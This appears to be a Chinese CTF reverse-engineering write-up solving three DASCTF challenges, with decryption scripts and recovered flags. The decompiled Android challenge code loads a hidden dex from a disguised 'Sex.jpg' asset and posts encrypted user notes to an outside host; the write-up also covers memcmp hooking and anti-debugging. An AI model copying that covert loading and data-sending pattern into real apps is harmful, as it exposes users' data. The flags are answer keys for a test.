DosSnake
拿去DOSBOX跑一下就是个贪吃蛇,汇编代码量还挺大,ida又不能反编译,但是查找字符串发现有DASCTF,直接查看他的交叉引用找到这里。
加密逻辑就是enc[i]^=key[i%6],DASCTF的起始地址是0x324,当di为0x32A时,把di重新设为0x324。
exp
enc = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0x09, 0x63, 0x34, 0x32, 0x13, 0x2A, 0x2F, 0x2A, 0x37, 0x3C, 0x23, 0x00, 0x2E, 0x20, 0x10, 0x3A, 0x27, 0x2F, 0x24, 0x3A, 0x30, 0x75, 0x67, 0x65, 0x3C]
key = b"DASCTF"
for i in range(len(enc)):
enc[i] ^= key[i%6]
print(bytes(enc))
# DASCTF{H0wfUnnytheDosSnakeis!!!}
Strangeprograme
ida打开,搜索字符串进入的函数很简单,就是输入然后比较,而比较的字符串是个fake flag。
那就可以猜到是hook了函数,猜测是memcmp函数,但是看着几个函数的交叉引用都没找到什么东西。只能在左边函数列表中找了。
找到一个很可疑的函数,这里原本是红色的jmp 0x41D000,这里是修复之后的。
找到他跳转的位置,看这个段的名字就有东西,而且一开始进去也是一片红,但是断点打在这里,调试并没有停下。
查一下这个函数的交叉引用。就找到了这个函数,这里有反调试很显然就是我们要找的函数了,动态调试过一下反调试。
上面这个sub_411064就是获取memcmp函数的地址(其中有字符串比较找memcmp函数),下面这个函数就是hook了,第一个参数是memcmp的地址,那么第二个函数肯定就是真正的check了。
进入这个函数。
发现进行了魔改的tea加密,并且还增加了xor操作。魔改tea只对前两个DWORD进行加密,后面的输入只是xor了前两个DWORD加密后的结果。
这里重命名了一下,更好看一点。
__int64 __cdecl sub_41D250(char *input)
{
__int64 v1; // rax
__int64 v3; // [esp-8h] [ebp-24Ch]
int j; // [esp+D0h] [ebp-174h]
size_t i; // [esp+F4h] [ebp-150h]
char *v6; // [esp+100h] [ebp-144h]
int v7; // [esp+124h] [ebp-120h] BYREF
int v8; // [esp+128h] [ebp-11Ch]
int v9; // [esp+12Ch] [ebp-118h]
int v10; // [esp+130h] [ebp-114h]
char enc[260]; // [esp+13Ch] [ebp-108h] BYREF
sub_4114D8(&unk_4250F3);
enc[0] = -7;
enc[1] = 77;
enc[2] = 43;
enc[3] = -68;
enc[4] = 19;
enc[5] = -35;
enc[6] = 19;
enc[7] = 98;
enc[8] = -55;
enc[9] = -4;
enc[10] = -1;
enc[11] = -119;
enc[12] = 125;
enc[13] = 79;
enc[14] = -55;
enc[15] = 15;
enc[16] = 99;
enc[17] = 29;
enc[18] = 109;
enc[19] = 82;
enc[20] = 80;
enc[21] = -3;
enc[22] = 65;
enc[23] = -29;
enc[24] = 51;
enc[25] = 118;
enc[26] = 40;
enc[27] = -105;
enc[28] = 56;
enc[29] = 54;
enc[30] = -7;
enc[31] = 107;
enc[32] = -112;
enc[33] = 57;
enc[34] = 20;
enc[35] = -125;
enc[36] = 44;
enc[37] = -30;
enc[38] = 44;
enc[39] = 31;
memset(&enc[40], 0, 216);
v7 = 0;
v8 = 0;
v9 = 0;
v10 = 0;
if ( j_strlen(input) == 40 )
{
v6 = input + 4;
v7 = *(_DWORD *)input;
v8 = *((_DWORD *)input + 1);
j_tea(&v7, &unk_422100);
*(_DWORD *)input = v7;
*((_DWORD *)input + 1) = v8;
for ( i = 2; i < j_strlen(input) >> 2; i += 2 )
{
j_tea(&v7, &unk_422100);
*(_DWORD *)input = v7;
*(_DWORD *)v6 = v8;
*(_DWORD *)&input[4 * i] ^= *(_DWORD *)input;
*(_DWORD *)&input[4 * i + 4] ^= *(_DWORD *)v6;
}
for ( j = 0; j < 40; ++j )
{
HIDWORD(v1) = j;
if ( input[j] != enc[j] )
{
LODWORD(v1) = 1;
goto LABEL_12;
}
}
LODWORD(v1) = 0;
}
else
{
LODWORD(v1) = 1;
}
LABEL_12:
v3 = v1;
sub_41130C();
return v3;
}
int __cdecl tea(unsigned int *a1, _DWORD *key)
{
int result; // eax
unsigned int i; // [esp+DCh] [ebp-2Ch]
int sum; // [esp+E8h] [ebp-20h]
unsigned int next; // [esp+F4h] [ebp-14h]
unsigned int prev; // [esp+100h] [ebp-8h]
sub_4114D8(&unk_4250F3);
prev = *a1;
next = a1[1];
sum = 0;
for ( i = 0; i < 0x10; ++i )
{
prev += (key[1] + (next >> 5)) ^ (sum + next) ^ (*key + 16 * next);
next += (key[3] + (prev >> 5)) ^ (sum + prev) ^ (key[2] + 16 * prev);
sum -= 0x61C88647;
}
*a1 = prev;
result = 4;
a1[1] = next;
return result;
}
据此可以写出解密脚本。
exp
from struct import unpack, pack
enc = [-7,77,43,-68,19,-35,19,98,-55,-4,-1,-119,125,79,-55,15,99,29,109,82,80,-3,65,-29,51,118,40,-105,56,54,-7,107,-112,57,20,-125,44,-30,44,31]
for i in range(len(enc)):
enc[i] &= 0xff
print(unpack('<10I', bytes(enc)))
from struct import unpack, pack
enc = [3156954617, 1645468947, 2315254985, 264851325, 1382882659, 3812752720, 2536011315, 1811494456, 2199140752, 523035180]
key = [0x12345678, 0x09101112, 0x13141516, 0x15161718]
# 最后两个直接xor enc[0]和enc[1]即可
print(pack('<I', enc[8]^enc[0]).decode()+pack('<I', enc[9]^enc[1]).decode())
for i in range(len(enc)//2-2, 0, -1):
prev = enc[0]
next = enc[1]
sum = (-0x61C88647 * 16) & 0xffffffff
for round in range(16):
sum += 0x61C88647
sum &= 0xffffffff
next -= (key[3] + (prev >> 5)) ^ (sum + prev) ^ (key[2] + 16 * prev)
next &= 0xffffffff
prev -= (key[1] + (next >> 5)) ^ (sum + next) ^ (key[0] + 16 * next)
prev &= 0xffffffff
enc[0] = prev
enc[1] = next
print(pack('<I', enc[2*i]^prev).decode()+pack('<I', enc[2*i+1]^next).decode())
# 最后enc[0]和enc[1]还要进行两次tea解密
for i in range(2):
prev = enc[0]
next = enc[1]
sum = (-0x61C88647 * 16) & 0xffffffff
for round in range(16):
sum += 0x61C88647
sum &= 0xffffffff
next -= (key[3] + (prev >> 5)) ^ (sum + prev) ^ (key[2] + 16 * prev)
next &= 0xffffffff
prev -= (key[1] + (next >> 5)) ^ (sum + next) ^ (key[0] + 16 * next)
prev &= 0xffffffff
enc[0] = prev
enc[1] = next
print(pack('<I', enc[0]).decode()+pack('<I', enc[1]).decode())
# DASCTF{I4TH0ok_I5S0ooFunny_Isnotit?????}
BabyAndroid
解压缩附件发现除了安卓的apk文件还有一个Request.txt文件
java层分析
用jeb打开,找到mainactivity,在里面找到可疑的NoteActivity
进入NoteActivity,可以看到有和之前txt里相似格式的输出,说明这里就是对flag进行加密的地方了。
package site.qifen.note.ui;
import android.os.AsyncTask;
import android.os.Build.VERSION;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import androidx.appcompat.widget.ListPopupWindow;
import butterknife.BindView;
import butterknife.ButterKnife;
import butterknife.OnClick;
import dalvik.system.InMemoryDexClassLoader;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import site.qifen.note.db.NoteDao;
import site.qifen.note.db.NoteDatabase;
import site.qifen.note.model.Note;
import site.qifen.note.model.sendRequest;
import site.qifen.note.util.App;
import site.qifen.note.util.NoteUtil;
import site.qifen.note.util.SpUtil;
public class NoteActivity extends AppCompatActivity {
class EncryptAndSendTask extends AsyncTask {
private EncryptAndSendTask() {
}
EncryptAndSendTask(site.qifen.note.ui.NoteActivity.1 x1) {
}
@Override // android.os.AsyncTask
protected Object doInBackground(Object[] arr_object) {
return this.doInBackground(((String[])arr_object));
}
protected String doInBackground(String[] params) {
String contentText = params[0];
try {
ByteBuffer byteBuffer0 = ByteBuffer.wrap(NoteActivity.this.loadData("Sex.jpg"));
Class class0 = (Build.VERSION.SDK_INT < 26 ? null : new InMemoryDexClassLoader(byteBuffer0, NoteActivity.this.getClassLoader())).loadClass("site.qifen.note.ui.Encrypto");
Method method0 = class0.getMethod("encrypt", String.class);
NoteActivity.this.contentText_back = contentText;
String cipher = (String)method0.invoke(class0.getDeclaredConstructor().newInstance(), NoteActivity.this.sendInit(contentText));
Log.d("JNITest", "Server Response: " + sendRequest.sendPost("http://yuanshen.com/", "data=" + cipher));
return cipher;
}
catch(Exception e) {
e.printStackTrace();
return null;
}
}
@Override // android.os.AsyncTask
protected void onPostExecute(Object object0) {
this.onPostExecute(((String)object0));
}
protected void onPostExecute(String cipher) {
if(cipher != null) {
String s1 = NoteActivity.this.noteWriteTitleEdit.getText().toString();
String s2 = NoteActivity.this.noteWriteTagEdit.getText().toString();
if(NoteActivity.this.note == null) {
NoteActivity.this.noteDao.insertNote(new Note(s2, s1, NoteActivity.this.contentText_back, "2024-11-08 19:37", false));
NoteUtil.toast("保存成功");
NoteActivity.this.finish();
return;
}
NoteActivity.this.note.setTitle(s1);
NoteActivity.this.note.setContent(NoteActivity.this.contentText_back);
NoteActivity.this.note.setDate("2024-11-08 19:37");
NoteActivity.this.note.setTag(NoteActivity.this.contentText_back);
NoteActivity.this.noteDao.updateNote(NoteActivity.this.note);
NoteUtil.toast("修改成功");
NoteActivity.this.finish();
return;
}
NoteUtil.toast("加密失败");
}
}
public String contentText_back;
private String[] list;
private ListPopupWindow listPopupWindow;
private Note note;
private NoteDao noteDao;
@BindView(0x7F0900D9) // id:note_text_info
TextView noteTextInfo;
@BindView(0x7F0900DA) // id:note_write_back_btn
Button noteWriteBackBtn;
@BindView(0x7F0900DB) // id:note_write_backup_btn
Button noteWriteBackupBtn;
@BindView(0x7F0900DC) // id:note_write_content_text
EditText noteWriteContentText;
@BindView(0x7F0900DD) // id:note_write_save_btn
Button noteWriteSaveBtn;
@BindView(0x7F0900DE) // id:note_write_tag_edit
EditText noteWriteTagEdit;
@BindView(0x7F0900DF) // id:note_write_tag_text
TextView noteWriteTagText;
@BindView(0x7F0900E0) // id:note_write_title_edit
EditText noteWriteTitleEdit;
@BindView(0x7F0900E1) // id:note_write_title_text
TextView noteWriteTitleText;
static {
System.loadLibrary("note");
}
public NoteActivity() {
this.noteDao = NoteDatabase.getInstance().noteDao();
this.list = new String[0];
this.contentText_back = null;
this.listPopupWindow = null;
}
public byte[] loadData(String str) {
try {
InputStream inputStream0 = this.getAssets().open(str);
byte[] encryptedData = new byte[inputStream0.available()];
inputStream0.read(encryptedData);
inputStream0.close();
return this.rc4Decrypt("DASCTF".getBytes(), encryptedData);
}
catch(IOException e) {
Log.e("错误", "加载数据时发生错误", e);
return null;
}
}
@Override // androidx.appcompat.app.AppCompatActivity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(0x7F0C001F); // layout:activity_note
ButterKnife.bind(this);
String[] arr_s = SpUtil.read("tag").split(",");
this.list = arr_s;
this.noteWriteTagEdit.setText(arr_s[0]);
ListPopupWindow listPopupWindow0 = new ListPopupWindow(this);
this.listPopupWindow = listPopupWindow0;
listPopupWindow0.setAdapter(new ArrayAdapter(this, 0x1090003, this.list));
this.listPopupWindow.setAnchorView(this.noteWriteTagEdit);
if(this.getIntent().getBooleanExtra("isEdit", false)) {
Note note0 = this.noteDao.getNoteById(this.getIntent().getIntExtra("noteId", -1));
this.note = note0;
if(note0 != null) {
this.noteTextInfo.setText("改/查笔记");
this.noteWriteTitleEdit.setText(this.note.getTitle());
this.noteWriteTagEdit.setText(this.note.getTag());
this.noteWriteContentText.setText(this.note.getContent());
}
}
}
@Override // androidx.appcompat.app.AppCompatActivity
protected void onDestroy() {
super.onDestroy();
}
@OnClick({0x7F0900DA, 0x7F0900DB, 0x7F0900DD, 0x7F0900DE}) // id:note_write_back_btn
public void onViewClicked(View view) {
String s = this.noteWriteTitleEdit.getText().toString();
String s1 = this.noteWriteTagEdit.getText().toString();
String s2 = this.noteWriteContentText.getText().toString();
switch(view.getId()) {
case 0x7F0900DA: { // id:note_write_back_btn
this.finish();
return;
}
case 0x7F0900DB: { // id:note_write_backup_btn
if(this.note == null) {
this.noteDao.insertNote(new Note(s1, "[备份]" + s, s2, "2024-11-08 19:37", true));
NoteUtil.toast("备份成功");
this.finish();
return;
}
return;
}
case 0x7F0900DD: { // id:note_write_save_btn
if(!s.equals("") && !s1.equals("") && !s2.equals("")) {
new EncryptAndSendTask(this, null).execute(new String[]{s2});
return;
}
NoteUtil.toast("标题/标签/内容不能为空");
return;
}
case 0x7F0900DE: { // id:note_write_tag_edit
this.listPopupWindow.setAdapter(new ArrayAdapter(App.getContext(), 0x1090003, this.list));
if(!this.listPopupWindow.isShowing()) {
this.showListPopWindow();
return;
}
return;
}
default: {
return;
}
}
}
private byte[] rc4Decrypt(byte[] key, byte[] data) {
int[] S = new int[0x100];
for(int i = 0; i < 0x100; ++i) {
S[i] = i;
}
int j = 0;
for(int i = 0; i < 0x100; ++i) {
j = (S[i] + j + (key[i % key.length] & 0xFF)) % 0x100;
int temp = S[i];
S[i] = S[j];
S[j] = temp;
}
byte[] result = new byte[data.length];
int i = 0;
int j = 0;
for(int k = 0; k < data.length; ++k) {
i = (i + 1) % 0x100;
j = (S[i] + j) % 0x100;
int temp = S[i];
S[i] = S[j];
S[j] = temp;
result[k] = (byte)(data[k] ^ S[(S[i] + S[j]) % 0x100]);
}
return result;
}
public native String sendInit(String arg1) {
}
private void showListPopWindow() {
this.listPopupWindow.setOnItemClickListener((AdapterView adapterView, View view, int i, long l) -> {
this.noteWriteTagEdit.setText(this.list[i]);
this.listPopupWindow.dismiss();
});
this.listPopupWindow.show();
}
class site.qifen.note.ui.NoteActivity.1 {
}
}
取出了assets里的sex.jpg文件,对他进行了rc4解密
这里cyberchef解密得到一个新的文件。
在用jeb打开这个文件
package site.qifen.note.ui;
import android.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Encrypto {
private static final String KEY = "DSACTF";
private static final String TAG = "Encrypto";
private static byte[] customHash(String input) {
byte[] keyBytes = new byte[16];
int[] temp = new int[16];
for(int i = 0; i < input.length(); ++i) {
int v1 = input.charAt(i);
for(int j = 0; j < 16; ++j) {
temp[j] = (temp[j] * 0x1F + v1) % 0xFB;
}
}
for(int i = 0; i < 16; ++i) {
keyBytes[i] = (byte)(temp[i] % 0x100);
}
return keyBytes;
}
public static String encrypt(String data) throws Exception {
SecretKeySpec secretKeySpec = new SecretKeySpec(new byte[]{13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13}, "AES");
Cipher cipher0 = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher0.init(1, secretKeySpec);
return Base64.encodeToString(cipher0.doFinal(data.getBytes("UTF-8")), 2);
}
}
进行了AES加密。
再看NoteActivity中,doInBackground调用了这个被解密文件中的site.qifen.note.ui.Encrypto类,再使用encrypt来加密输入。
Recipe
到这里这一堆浮点数就可以看出是个dct加密了,这里加载了so库。
so层分析
这里ida打开so库搜索encrypt,果然是dct加密。
exp
直接idct解密即可,详细可以看之前的文章。
import numpy as np
import math
def dct(x):
result=[]
size = len(x)
for i in range(size):
sum = 0
for j in range(size):
v1 = math.cos((j+0.5)*math.pi*i/size)
v2 = x[j]*v1
sum += v2
if i:
v3 = math.sqrt(2/size)
else:
v3 = math.sqrt(1/size)
result.append(v3*sum)
return result
def idct(x):
result = []
size = len(x)
for i in range(size):
sum = 0
for j in range(size):
v1 = math.cos((i + 0.5) * math.pi * j / size)
if j == 0:
v2 = math.sqrt(1 / size)
else:
v2 = math.sqrt(2 / size)
v3 = x[j]*v2
sum += v3 * v1
result.append(sum)
return result
x = np.array([458.853181,-18.325492,-18.251911,-2.097520,-21.198660,-22.304648,21.103162,-5.786284,-15.248906,15.329286,16.919499,-19.669045,30.928253,-37.588034,-16.593954,-5.505211,3.014744,6.553616,31.131491,16.472500,6.802400,-78.278577,15.280099,3.893073,56.493581,-34.576344,30.146729,4.445671,6.732204
])
z = idct(x)
print("解密: ", np.round(z))
print(bytes( [68, 65, 83, 67, 84, 70, 123, 89, 48, 117, 95, 65, 114, 51,
82, 101, 52, 108, 108, 121, 95, 72, 64, 99, 107, 51, 114, 33,
125]))
#DASCTF{Y0u_Ar3Re4lly_H@ck3r!}